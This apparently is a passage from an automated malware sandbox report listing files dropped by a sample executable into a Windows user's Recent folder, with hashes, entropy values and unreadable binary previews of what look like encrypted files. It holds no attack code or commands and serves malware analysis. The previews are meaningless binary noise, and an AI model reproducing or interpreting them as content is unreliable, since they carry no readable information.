(.......$..\|x.)..A....{..../j.+a-....[..!:...OoN..5..&..J.e........TU.uOm..9.=.....\|.........4..L..&...t...+..~...Xp..g..'..r..aF...>H.F..I.30H.\i\/j;`.H..C...p.$..?[._`..{....B...f..L..y..'.gL.4Oo..8..1....2..../.Z4n.{......$a.z.S.9.[...%.....-k...L.&...d..~....._g......68......K.krCD....].E.X..@1..+.(.._..).B.......4.In.!...v...= ....&...n.5...[..O...Z..].1~.....&.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85025120043178
Encrypted:	false
SSDEEP:	24:f1Cx8/fb9eWjXOrq0HqDNX4iNM/EVDMl/JzlVg8mOXS5JScEponoeHeItHybD:dCmD9eWbOGP5Xy0DEJ3gY4QzKoe+ItAD
MD5:	30DC2BA3823788F74F15520632745C4F
SHA1:	F06C6C2933868E376D03DAAC97B917F79457287C
SHA-256:	EE708859F173EC6E96A2714C970437303DCB62AF058E5F1759F13D07EA5D242B
SHA-512:	EA759215745D3D39E65FF23A470A1F64C7118F5CF9E09072E11F771EF7405ABE418A4195CE6126AEF6EFAF63882C69565BDD1EBEC1DA10F8C04060D714617B02
Malicious:	false
Preview:	LTKMY.z......a..3...-...c_.'.-...J../..k.(/4l.o9.>.s.qB...I.d.s..#......S.Z9.Z.....>jj....W..=h....b.. ....NqJ......].lG4c..7%c..SJ...q.@...".Tc^...o.8......M....l.l....1....~.S.c.i^.0..\i.._._H.2_.z..Q6.$..A2...4..!F...h..BE......Wn).N.V..w.$...ZKb........L5[.......ik..a.FD...e0`\.v...m7S.o..z.s....4h.=.4..uZ.5......u....%T=hR...M..m.j..V..m>.`4.b.....<.NrU...}..H4.5.$Z...:.tZ.wp+.vd.ck.w}.....?V.w.......t=..}.~wat......l.&.u1$e>.'.Q...h'}.........qz< cuV............A.hj....#D2.#R.b..u9tU()..i......~Z.\|........o.dR...<.:...A.p...]+...Jp....<7.i......8..g..s2../..<v.P.Wa-..zG..J.%KNV....h..p~..b..J0yU.B..%.u5...6.o.E.._!t.Ia...akR......C.........X..E&..J..X...nF...2........2.p......ijO....qL...4.N.$...N.VIJ.3N..\|w......`^rPr$.RX..?....`.2......s..........6..DZ+. .a........&.7H\|..\.....\@.5...p.3u.mbIoy.3..f93.......I9...D$.T.z..a.0.@...].U.0......gA...:v(L/...K..a....=.. .y/....#.2~.+h.*.........3..?\8..1l>.r.../..1.b-i......V7`U:.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MMYRLSINVP.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852017986008695
Encrypted:	false
SSDEEP:	24:wShL8TEeUSJlo6NNFVozpeR8Dbg6IyKTaEgF+5XDiR1FYOyP4bD:1hLQEeU8RNF0Lbg62c+pDUh7D
MD5:	21D81A4B74BD64037095B0E8A19FC97D
SHA1:	78D536A4A062FDE7CA27A400A8465D93B38CF156
SHA-256:	715FEA771DA3217C4C092E1947A19E3EF08D51409973E11043E0C9436623DF5B
SHA-512:	D29432CC2024B47F0886292C93A566FC88B1E96B5447D2F52BF3406DBBEAAE169CF1DC57F6A59CA31788B8A142350670E86024DBD6E244B66F97452D5E3AAAB8
Malicious:	false
Preview:	MMYRL.7...ya.H~....y...7"h._S.8Nn.u..g.A5...._.;.g?.....Z.....0RZ+....?.S..4.,..n....uO,.......!.}\.q.......h....y...b".4..]..,a.S...xn..=..2:.....":q..U.w..,...V..G..i].5QU.Ce.$.;..+.B).<.W.(.H\.....G59Z.ZLN.N.WA.......xB....lh...^f.....rP.s......5'.p(.Gqy.wY.....C..k[.(.u..9..../.X..iK..;.!....5.....D[..20.~...bi(..!\]..4...#..4.)....!......<P...>>.7..0R...a6..\|...5..tT..Z@..G....)./.&...r..h..7..#v3..c..F.h.....C.Nd.L.\.@....j.......F..JN.)F{.W.e..x/3.r...wk.6\|..d.....!(....F/.'...H...s.../.......$..> ..k...t..0c...]=.........S..z.{.co..3J8...&...&e[:..+.....o.j.Ac..y.p..9L...7,.Th.Y..e.......q.>...\|...qc..."..k6...\...a..".!..4.N".K..X..F..<Gb#.L.^.<S.f.K.&re!.6..>..+...H..b4b.qO%..,..%I.U:.s..ml7O....q2.+..}.y..@IC...Y7:....\|.c{..At.E,8Tf...Bt......q.).\E.I....k>...W:p.k.....K.@Qa...?X.......B/R..g..*.bC.j..).}..'5.6.G..pZ....\|F.F.a...H.."}0.JZOD(X...D}...l?M\|8.\...}@n......=.A.4{..1.6w.u]k/..e....A..D...m+..##..(.9Y...;....j..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIKHQAIQAU.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831970896733677
Encrypted:	false
SSDEEP:	24:UZevcAszLEYc21KVb0KtSaoCGRGBGojXC73/YJUjiZLhiAbD:UUcAaoHoCGRGBGR3iM0D
MD5:	FEE0A45A2834BA32E7C81F85B9DEB0A4
SHA1:	4F55838394285993FB622F2DB2365584B7B40536
SHA-256:	8B166314C9EA05D8C205D19362B25A9BE02F8C5439C3495194EFAE5BC6C31D54
SHA-512:	0E0B9F69445F7186E4BBA9AADD8A277603C271F31DFE3F14459FD78AB7AD4EA2A8644C406B3DC3075E0C85A441A04AB09B6471DF5F1E2359EB5E4C40905D9EAF
Malicious:	false
Preview:	NIKHQ..P...h.....S..Q...\...H.....Mb4.2g.`.1B.WR..T3..V......7(BJ..=.8..p.b..>....dPf)...b...>."..u.'.-tQ2...1.W.M.p..z.`...)...}......p)...j.1......^I.<..%.:..?..)$N...E.......XA2.e.6b.........8E.s......;..9g.50.q)t.Z..r.....X...T.]!.i.YaNn.......#..+f.J......I...VV..{.....y.6..6.s.R.gq......^<.k-8N.R......%.....H....._Yh.?=u.^..`V..]..p.Y6.J>^...,.2.&@..6...;.hN..M...^T..&..:.......].e....5.AGIsM.;r.Xe.u....K..p.h3.....?....)..:.-0...t(. .xo..}..d..o.oZc.B...7..+t.c.....w..`."r`.zyt.FZ....xb\.....M....]'&.Y.N.Y7..r.........9.1......V..R...g85.#.CZF.`#.I2.x.].M.o..p.V2)/c.6g..N........F.<.oM.G<S..\|lOr,..[..i_0.N..!{./t..Y....Ko1..f..#..._:.......~.%....G.Z...%..<-...O.f...i....)G.9.2.".....m._%u.#.F.A....-Z..<.`o..dZ?.....6...I.@...u....:I..r.......t.2 .F.1P'...q6..g..,J...G...(..V.."}...."g.t..."..........y.).?..8A...%..l.M?#I.q\|/..........Y.....v.O.,.U...q71/...6..0..Q..} ...lO..)7\|....A.{..N...7S.?....y._.....(.i..2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIKHQAIQAU.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840375984863671
Encrypted:	false
SSDEEP:	24:xno++e0bhPyRwZCZSo5OL2AsaguR9/SU/lemQbY/1K1KuPBcHuebc7rOSrbD:xo35PyRw4wo5OIY95emQbYQ8u5Wo7r9b
MD5:	E8614CCB707C92161E0B71923DCAB088
SHA1:	63D472BA57F6C67F8652C57863916BD709595811
SHA-256:	6FEF8A38BF08DB1775C94B01F1516A9EB591274F7F80DBE83F3042B6D5598557
SHA-512:	B95F637CF8E288C608DCD0DDA9526E59759D64DDCC348DA4D29008BA9AC1F18C35F455E1769023A82314E7B66451EEF015759A73923E76C5ECDD24A738CADCC9
Malicious:	false
Preview:	NIKHQ....D6....;h.....=O.`.....u..s...XLS.....z.:.r..'.G.s.......TqA...j.3.e.....'...Y..t.....ML......~;$..)Bf.6{,..\|:j..&..........f....f.X.).:.uzw..N0.-U)o....-.a.....h(7_.......[Z&.F...eL.V.....k..5.I. .m..D........=.....F(gp:y>..sn\<.1..w...k.C._h.V+.v..n........o....r.V..(..z.HIY...=:......+.LW.......s..A....=.&.j'.....Z.....]#..i.g.2,S_...#.+.13..W3..(....6X!1X....:\|oHF.........$&...{..Z.]5\s..Za.coRh.xr..].K.E.[...w..?..Y.....w..lW.]..........].U"..5m[..%........Y.AW..d...MoMg.iv..O...!l...O...\......w ....S2...0...o.3>.a.F..;c.H.q.L0.<...@^.V.C".....D......x4cb.._../...W..D.a}..P.zFb....VD.....q4.Z....1 .w.a/.g....,v. ................_c.?".@]...C...Y...D.ao.....5.!...Sj..fGZX...T.opm..A..in.....S.9. .I).!.>...k.!..U.A...C]o......^...$......3.7..$@..:.CC.g.F.w..g.+(...S..=g....\....#..b......F...m...........T]..XoDV...O.?..ao.!..Q....)..>].....DX....GL.6Qi..o+.......'v....w=....(Z..1wx.=+.2.. +4.'.[F.J...z.....B ....>...6M./

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIKHQAIQAU.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850414656723202
Encrypted:	false
SSDEEP:	24:r+9vgdMT80rFhUc+kVxhUcmb0PN65DlQM6TH8xhF5oF6N6nH9kLJlBxbD:q9mOFhokVxhU50woTHwAFYimLJBD
MD5:	EFE48FD60E2A24ADAC7ED246B89B8CED
SHA1:	4574A773DA46F27BE3CDD9E18CA138966D32E1CC
SHA-256:	52DA330EBEB1346851DCE4083E7F9C6ED8ABD7FED2C7ACF6AE9E2F4E75B7D90B
SHA-512:	5049304DF9B2E1CE2E8C0A0E082ADF3292A995F7FD0FBB1C250F66B13CFAEF96E1E87057DC4E72E6B6A5841133D757302B155366F001E2D6AE3E652D787150A3
Malicious:	false
Preview:	NIKHQ,a,Bh.t^...!.....OD. wR.v.....dH..c......w.qm...hal.....#.....m.7W..`...C~.......fF3.}.?9B>...qR.,2............5..J<]c.O.L......1B..V...Z.cz..f..J...$......v.'..j....zn.L.9.4...qc..I....e.....v..i...-.{...6$..". .tB.L.,...".9...x..9s....R....A....rhKr"...s.6.....D.~..c..+1..L....u%.....;.j..[..=.>.b..C.&8.....s.....v..Cp....J.q...UU.9....M\.....5C.}...}.p..]H.Ir4....bl..,....0.a...u.....k+F.....L.q...'.[.z.q.9....w}b....a.I.....+..&J..7)....aOA.N_......4..t.c.uI....I......x....y..F.kG.+`...B.B..l..?.s..GD.>../.....z.S......V.........c.J..Df......}A...F3xf.+...,..\K. .e#4T(...~&.`)z".......(..G.w.....8..mJ&.M..2D ...>.y..gkj2..........6D..a>(O.....1. ....LU..<......y.t.aCR.m..HW.....A..x....S....S-9m....,..$.Z.... G.Lb..[....li.pK.e=..Y."HB.-...S!j."%......u^ .Y.A.[...].n.h...to'z....X.O.VT.H?.....*...n.xECY2j..F..R......TZ,.H....;..p..Uz.FD...c%.....o\|.1....mu.(@SG.^.YH>..../.............K.D.?v...Q......p.....`.w2O.]....J.R......1fw..R.~

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862209557358318
Encrypted:	false
SSDEEP:	24:Ll7jbp1ebjeaZ8WJms+/n527slbnw/4rlwedfDH/K1IYIbD:Llbebjea7Jm32saSwoH/K1IYSD
MD5:	753150206F96425956AA7E5C54C5335A
SHA1:	A4614EA920BFEF48F4BF08558D811CF8636F5909
SHA-256:	E0CE72EA0144FB52A786C516CEC9482CD5375071A17EFDEFD0D1C7C06A76E0A2
SHA-512:	1961DA3ABA41C818DFA52D55C32CBF2EEB1ABC45D6A17DE3043DD180CC2464BE158D7EC327EF7BBC0CE2D564FC88D65028B506560D8D3191AC3EDD16F34EE68E
Malicious:	false
Preview:	NWCXB.........QZ......#....l...;;....\|.. =.+.Osv:V\.tN.G.2./.X0:.Gnd..(..S.&.D...1.>..LS.;...@DaJZ...`.<..n.......!p5..Y.....-...fp<k7i.!..$.o...).F..Z7.%.Kc@m.w.$/..7....Y\|C..q.Rz..eC.Y.).Y.l...a.........bnf....2tx.1.o0.H.V.......>c..hc..k.S..B[>....7.];p.XEd&..x.C...^.4.....e,...q.!.x......3.d.s....~.d.6.:.SnP-...g.EO.3.W#.../..7....i..#..1......./._...5...@Y....U0.....B...A..7.<B7M.....j...Q.J..$.......p5..t.........a...)H..A[~.r.........IU.. ON..#i...o......Mg..A..Q...S.....W..........r=.D......`r..8.hb.z.X....uesc.....3......cW...Vn..%4.E.hi..d}?...%.Q...;...C./1q^HY<.I..FH]...R...gf...K..'..../..".,a..iu\|.......7...S.T..\{d..{G.C.m.....!.+......v.T...o0...z!.I.VP<..[lG.:~.a.+.....[........'g. .Uw... 0..../l.'.?..V.......C.=...m..!.?.re\|..........<.k#Y.A...R..].V4......5...uul"<...E.M..e8..2.4!I..8d.R.....y.0R..5*.....D..,N]Z...K.........LbQ......=.Vi...e~..C..r.v.}..b./do......wt.x>QW...UF....`/..gK..:...X.l.J7..7^..{..D.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85823332110672
Encrypted:	false
SSDEEP:	24:vKeOWISNgddXpjYMScRRyjHxCci7Al8JSAmSu3hf7t7tndEYYlbD:5YrZjHSSuRJi7vSnf77+nD
MD5:	0FE9A2BEA13B43E2A85FF5BF7DE240FE
SHA1:	A0B820EE59460F69761029CBE936420661AA41DA
SHA-256:	A37D8CE6E67BCDDB518B1FD89A5ECE870D2C44D5480651E49D2EAD1080377927
SHA-512:	F8CEC8B049110999B313DE0F5107628F8C2FA07A979548EA81B4FBD3B5E50E9207A6C363494DD3BC793B994C3836E5FAB46F080BB4D15D6C64A1570AEEE28173
Malicious:	false
Preview:	NWCXB./M.U.6 ...Bs%I. ...F.....4..Nr.P...h.0U..c.r........R5....a..V-\.zZ}.6.......&....2_T....h.tX..o...Lm..p.%../4\..I......w<.M.8...G.4^...~.@'..H.....y;8,.W...Z...C.Q....(....H..1...l.....To:j.!.N.B2........,.Uq...........1-....U'E..-..T.!.>.B.#.m\|WA....x..P.....H./..C.b..gNbB.KG..O...S%!S.._.............;eRg....B..I.`.c....B..!.:.l...V..?.9}...y..p6....f...~..&&..C..D.....6.v...z..(...x!......-$`..)R.'.....Ss.-.....fj..T!.5X.q...u;P?.D..W?.._....~3..K>.\V. =..M]...i9... :.A/m.8f.-...t.5.m........2.]...5.{.X.w...E.j@rCy.M..B...Y.-?5.A...8........E.pe..P0..y.V..`.m...B i..A..k.3n.uF.....g.S.C.V:.0P=u.N%....F7..../.Uy..F.W5.M>....GP+\|...L...J'}.O-.u.[..a.]}.k;.....".....mUT.........V.~.oP.R2. ......L.R....'a.y..........48.u..0K".HI{.q.vT.Z..w..h.rY...R..!....6...L_)..`?.j.A.Q.%..b...D.W..h..J.;.]h....<..D....~.v...z.......,..)h.y.....b3nx=.....x.......j...E........Ea{t0.K.:.R...l]......V`.S.K.U...4.{...q.o..".Z...p.hZ=r........G..Y.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843660141285492
Encrypted:	false
SSDEEP:	24:HcGZX1/ppRylMeSj7et5GVM/7bSR0BCVWgOFCUrnNbWIMi4KFIubD:Hc21ZHeCiGU3B6OCqlWK4wIMD
MD5:	75E8EC8DD0A6A87B96EB15B38DE04A33
SHA1:	0C7D002F7C6942EEB778EF5F20266E4AA81C87CF
SHA-256:	2C3B9AB55ED39D2DFD7896C2B7196185167BB7D80380CB3A1EF5EA4172AA040C
SHA-512:	CB52176729FA1D88E1FB3467FFDF1245D7C7E6C130841571A3EA05C1779876596595809094FB48AB6C39983F551B1FA021FB0A111B6C275A8AD746CA41287682
Malicious:	false
Preview:	NWCXB...FWGt..I6..../t...6b.........v..0.jj..x'..._)p.X..~. ..[..@.9pl......F=.Mz&pr.c`Tk....]....T..w..6oO..".o..N.Wg..Oo..^.T..i\..I...6.^.1......[9.V...B.........4.B.h0.~...<l.2..L.H..Xm..u.^..j.o...[p.rA.'.9g.......e4..v.%....)..6L..g.@......\|.4{H......O.D\|{O..M..".$.....G_E.........n....GR..\|T_C.YY........o.S0.{.y9.B..[w..."..\..e;....,Ct....d..`...dZ/D:..`y?v.?c.7G..J.CB.8.;.JP.&.X..[....@).4.'.:.....T.....).#....J..{....CC..u.a.=.e.....u?.E.W.....uX..`....I......C.)...^..5r......1.,..a6N.....8.[$...._..'.......Co.arI3...4.. H.d...b.D.g5T...Ih..Ps..x Y+ .5...b#..+,..q.jg..J.y...y)..%.....).....K&.f.U.....u...=M..#...T.{..\|..\|.q..].\Ii.h..[sCxN.}........2..t.-."..)./....."...+..d........C....o.t.Y..a.....i..F....t.Y.1..q).g..$.[..#.j.1.S..w.\.P..g..n.4qB.C.?yv.>.D.=..V_.-g...xh..M.7...]d..+j.....IU.V.m...W..p..<..#N..O...J)....WC.Q...1.sVA....4^t.......[.sdv....U...fHv....A.-.l.O.T....'...1.4?l.Bo.3D.`......c.Gi...N.Z

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852664556918895
Encrypted:	false
SSDEEP:	24:cmnXtMuSlpAlGXKjyXNxN2kWfCTWNwVju6rO8GhwCEP2KE5WtiR87obD:euSQcSyXND2kZWNwVjs8t2KE5WtF7yD
MD5:	7BC50CB9639FBD2D76BBFCCC74B7AC11
SHA1:	B551088527DF8FCFBA5D213676804D2DDF2FCA6B
SHA-256:	17B44547BFD849D2E3150A91CBC9BB03E2A3D5A92BA00487EDFFB767CE8B180E
SHA-512:	BF5B64D28E925A8C0D3A41BB20017F18DF3204B2AB73AD8BEBC07354F89BC573BADE812F2B481F15B6738EFE10718290D4650EF8C1BFFCC1647B3F8A167C8549
Malicious:	false
Preview:	NWTVC..~([u......H3....Z.6...j.._=......S.//..A.5.H..1..<.Y.Ti.).>d.8......(."bSQv..T....B.J...]...;..s.h..].g..p<t.m.@FoYB...%....b1.Ne."......\].Io...2......"..)eW. 1.q.......[$.:............4I...]x.ie&..U...L..Q.;2..~.t.@:.X...Z.....G.....9Ku5...b...mF.F.......P.E.w..Y...bM..\...P(....\|.%...P&.W....6.k..w!...].N...+.9....+.j........XQ....g....f.6...1.4......."..../....d..6...!c.<. ..w.m(.G.....8.{...&B....[^b.=&1]..los....ic\.HtE._..aVU...0.x.."".&..J..k.oF..........g........Ko...8..s...nIOVu..z.^.u...;..L?....}Kb......;..=E.n3.e5`.....8..7.......P..\..]..J..W<;...2+!X..c....}.T.KavP<..~..].!.`.p.].i-....@.IF.e6..e.Y.t...P.YE..q.a..-zB......K....:.0...._.#S.GW....v..!..CY..+5...O,x.."...>...z~.a"..,kP....a..`.M.......D.j.j.. i..D.&..s_q......I..`.o......d..{w.....`..g....j...!\|....o....Y..\\c...BQ..e.K..H...fm..0..E,.'.W..=..="Tl...Q.a....@e....S].[..5.a. B'y?.j.y%_.=.....<k..T....kl..ep...o.s...Y...uS..9j....P......U.?l..xn.F.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866674250002521
Encrypted:	false
SSDEEP:	24:wnnV4XeIpV0WjZDCvxJEO72vmdYCc6jU7BBca0yENvp1ynqbD:anVbI30kZqJZ7cNBl0ycvcID
MD5:	269895968AC957B94F2601B90E1D222A
SHA1:	D2C2125CFD0253D2C3D404CC41E195986AEDEF7C
SHA-256:	2A61400A45B37CE07B0255D6F16B4DB1707FE2E013AEDC1E11F45DEEDC456955
SHA-512:	4A92D1C622EB549D6362B111B74A224A37CB7FB3D4B7BB2DB4125411A1CF4FF4A3C20197A7F68D7DD0513AE40A066F3028F5492CD6AD2730C602F3C7CD9206DB
Malicious:	false
Preview:	NWTVCaq..I.m....FB..+e.^.@..p.z.-l:.7.. ....(s.g...W.7.gV....k...F.)T.-.A.q,...;.g....l o....Y...9.T..\....`...5.{..8....44.N<.GZ.}..v...V.....j.L.WZ.J...U.r..:;..U.\........3z.>PR.3Q.X.......[.......K......Z..~..N.r:K...N.y.M......K6....X.."'............b....-G.a.K.......y/,..n..k.P[L.....k.IZN;..3i.H..T.7...f}.O>.I..q.`6g.z....bdUylj..p....^.~Oq.P..\[=..w......v..i...3...a.[T..(.Be....7..0.....h..\.\|OB..0..(.0.....&.,w.f.C...p..Z.Q..1..m..;...#Jr....u)f..h......O#..!._..\|.~Qj.S..$....tQ...TY...]gq..y.E.L...1...f.T..<A..,.n...p'r.>n.........Bd...Y....R....OzI............v.................k...82.K,e;.....c..pC.f...<.S..$.v..~.y...+...7...B.S.O@y.[...\...:......t....v...-.o. .Ei..8o.u..3X..b.V......s...#.kKV.,.M.}...6V.....&...er.....\N.....s2..\|.Z.m.L..y..L.Vg[.5#\..qr].-.....D...l3.'..R.}a9.3`5.y....@..rQ5.P..DM.\|KT...9VD.....^.P...r...J..')..}....].....F.o.K.........Q.x3.&.x.$.25s.$...$.n....;W2..)r..LL....`C.p.$...y.!.1d..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836717741027098
Encrypted:	false
SSDEEP:	24:AsByuBAt8GZ04cqpKzaCwgdAXndFS0C3pSZwgQTOMqjuJpay0MMnTGDbD:AsByUAt8GZ0LqpiFGnjS0CU+gghJ0yJD
MD5:	59BE51D2C2A5265C443C2756B9F69D20
SHA1:	B042E434F701115C41CE2D73D224F7468C51E1FF
SHA-256:	9709AF018A2D8FB350B195149848256026DE4C1CC06AEAF9DFB926ABC6240516
SHA-512:	CEED87F3B649DE57C5C237C68C56D6BADD84C80143046C7C8AD1CAD77A6502FE7D5F22FE393254CF024830EB0CB3BCD72D8BBC2509DDE8B2F30CB84EBA4AF780
Malicious:	false
Preview:	NWTVC.92...y[.P..\.4...`G.e..]...&).j!>..]k.;n.J>...u.....^b..Y.`.O.n...k).?.S"A9r.U.A...=.8+.y..~.&...m..a..=y.4.`Q..v4M...n;_.;.-....Z.:..&.IJ.9...ve.V8w.p$..z.......q....!...'.]...L..(..Fo..a.J.C..$...p...d...bT..Z.SJW.aw...QPy>n.....t.==...^..c4\|^....jX.......lV]Bd..Y..\.........H7...N4h...#......'........QW..-/..^...0[.........'..=..T}z.6.."#=j.....A....W.......Y.[r....n..P....7+.."R.r....&]j."C..^v#.\|I.Q.}S..v&.#{..^.V:.]!vBx@.F...p.:;Q}UM.....{>..JT...i).~..s..c...y.Ec.......7.....h.Psn"58....j."..u..i.G...F.480...E0ib...``.^.6\|.a..YRw...1.N......u.Y....T...g..-....6..9.kj..k>.bm6..I....M.Q....hw...D._Pfc1?...r.b.."../6....<..77.....t..h...`..!...n...[1.V......T..g..p....5....a.`..b..H.V&.$.-.k..>..{NR^..../..Q.vo.....^.Y6....OH.M/d<..Y..I..L..5`.........eJi..(....0..`... .LK...Q...KI:...P.?.....l.".:......q)..h@...=...\|g..t~... ..!!...Y...q.Fwa&......v...u...W...m'..R..0.\.w../.T..s...L*K....G.n+.=&j'..W..Vrl..?..-..DV..m.....4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OKWJNJSPWE.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846228731000095
Encrypted:	false
SSDEEP:	24:wa5UcD7osFcnbXbc4h0JmjAAT4bcZ3J1B7H8kvmyKaoEl0JjjvqPbD:accNomj34bcZVcdzaoEl0Jjz4D
MD5:	BA8A2F724F45A65D4B9AD471A3B168F9
SHA1:	0BD5C17268D80CB1C4BC3C8C4A9EB96683B5CC02
SHA-256:	65AEA1C957979C4F76D0CEBA5E4B881D9D4BAFBEBE67039E2AFB6A9108216257
SHA-512:	DD2491B0CC5AEC477BCD5F3EFDFC939D421E02331A227FF0D540AB7D76EB77EAE01F7A0280D86CF136A6240BA310B5110EF974CD1B9B32D4F54B999733C85A1C
Malicious:	false
Preview:	OKWJN..A.5F.X..nO3.B...b..2...p<.".s+...T]h(..f...g=.Z.T..5EA....M..!..s...lMi8S.Z....Bi.V..zv%ZE.w.E9(.....Y..brzn.k...x.v..(A.X..,..6w[.]k........l).d......=.....jyU..Ys.Z6....[..!.....b.....M59...8....,.X..N...y.?.R...........Fj..TwR....@.....i........}Zx.2..LK......9.&R.....\|.j....RZ..-...R....&..j'.......-.....{......w....#...Aw+.a..E....W.mNd6...-...`;bR.YHw..mMy.w..r..bR..MeQ...!.I.iN.I..@2......8.i..Vt.UM.;....5....B....S....`J.N&....n....y...".[=.D....]..R..B.<......{...hL(....ipk3!E....dB0o.........._.l.1.)..Z_-.#)&..}g...:...O....Vct...D2..x]TP.f...#bA..H1.&.....@..I...E.g.~...'.?[.D.e.EDl.6/."Hd..f0E>.n..6.J...{} .S.Y..8....-...\|.3....>.. z.m.O..w..a.y.....a..O.g=.n.;...-..2...'7^c'.S.-...D..f..H8.....5!*.J..F.p)}.QM.~b[.in....W"...=.....!.p..$...q.\Q.u..8.t... .......!.,:.../..;g........Qr......x~...XP.......V.....8;.=`^.s.#{...y."..{...e ..!n2.@..9@.9.......l..`..a.1._.....#....q.;.}.+V.}..QC.i.v1.>.]...>=.....T

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OVWVVIANZH.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862511736302116
Encrypted:	false
SSDEEP:	24:UX9Pwpcli920huK2mqXiqT/BdulEnXQzE6ImvBGjswIRfnCbHRPB9X+CybD:UZwpc492r1EwdNN6I+BGjsJRMHRpgD
MD5:	6E675479C4EC8C8013DC92B211A5749F
SHA1:	C96C1BDF6851B29CF8E1FC9D41D300A73D123E8F
SHA-256:	1C1D36F88B42EFFE83D24CEEB7AB64EB73BB9A7BC64964B10A2F30BBFD889588
SHA-512:	FF08F4ADBA1D2E492BAA467BBBE8993117E310BC2C6B3F8F45079F70150EDDC0741614F4DBC1D040BF1E9DE7BFC2BEB75D4CBDE0CA90F6F987BEB51E6461BF7C
Malicious:	false
Preview:	OVWVVN.z.8..m...].I..=.`.{kQ.....I.;.....HZ....W..).......C..F4..U.(D...Y.W.x.4...kW.......'3cB ...Y.s\.i..3.w.Rt.......UR...-7 .S.kU.WvNT...'O...&.['...d. Pz..s. ...H....G.-P...\|.......lw.....y..............Z...VN..<...&-.R:..B......,..b.....<...J...r...........v...\.7.?`]...z3Y+..........xR.,e...G.?.4..!....f0l...r\m....,n...n.}..9.8.&.2.6......W%..X..'94j..!.Urx)tB=...\|....j....c..-3.).O...\|!..&.".f.e.`....K....9.T...........9=....r\F...KX.V.Q.fe........D:L.@.k.n...2e.X.G..j.2D+...O....F...AWaW.....J1...K......M.$'xv.Z..\|+.a........'.S....8p...J..(..J.#RZ.m8GVN..V.S...3..D...+..Ou.M....t.u..&".....Gu.H.@}.Y..-...9..g~....V.S...h<...AR..P..<at.9..B...~..}0^o.......dl...}W...,..Z...1'....5g.S..a._.........."..h.D..@a%.gd73.^?..;F[.\zE4q_...2....J ...H..h.........qVh;.Mw.u.Kw...0.A.p.>s.fB.:.\|o,%^.\...O.u.H...=."...l...%m...\|..../R..................~.{...^l.n.6.{....H.A..E.\Zq.u..f...[0:..,.I>..#@...H.2.H...j.DL.9....(.m.j.z.....-.v.0\|.b.(7..`

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865489187600757
Encrypted:	false
SSDEEP:	24:okG6UNPFY3l4aKDebi0ocZOSO8e7r27e4VEkIBTTV74O21w/j6bD:9MZFlByG0DOL8eXO4BTx74O21w/MD
MD5:	503486FD0ECD4A9157D4D3553DFDD1C9
SHA1:	A80B4E14A33E0B256841D9428E58A294CD68B97B
SHA-256:	038372943BBF360C16F138AA01D8A89F35D183FC8D070793640EBF2F2BC5D476
SHA-512:	9CE44ABBCAE524AC1A383195C65309903E63F567A53D2F05CF5952DE095C37A8CB302CA7F8860CFC09D91876B0EF1BC9325D66D6A3ADC03101930F744D3CC9A0
Malicious:	false
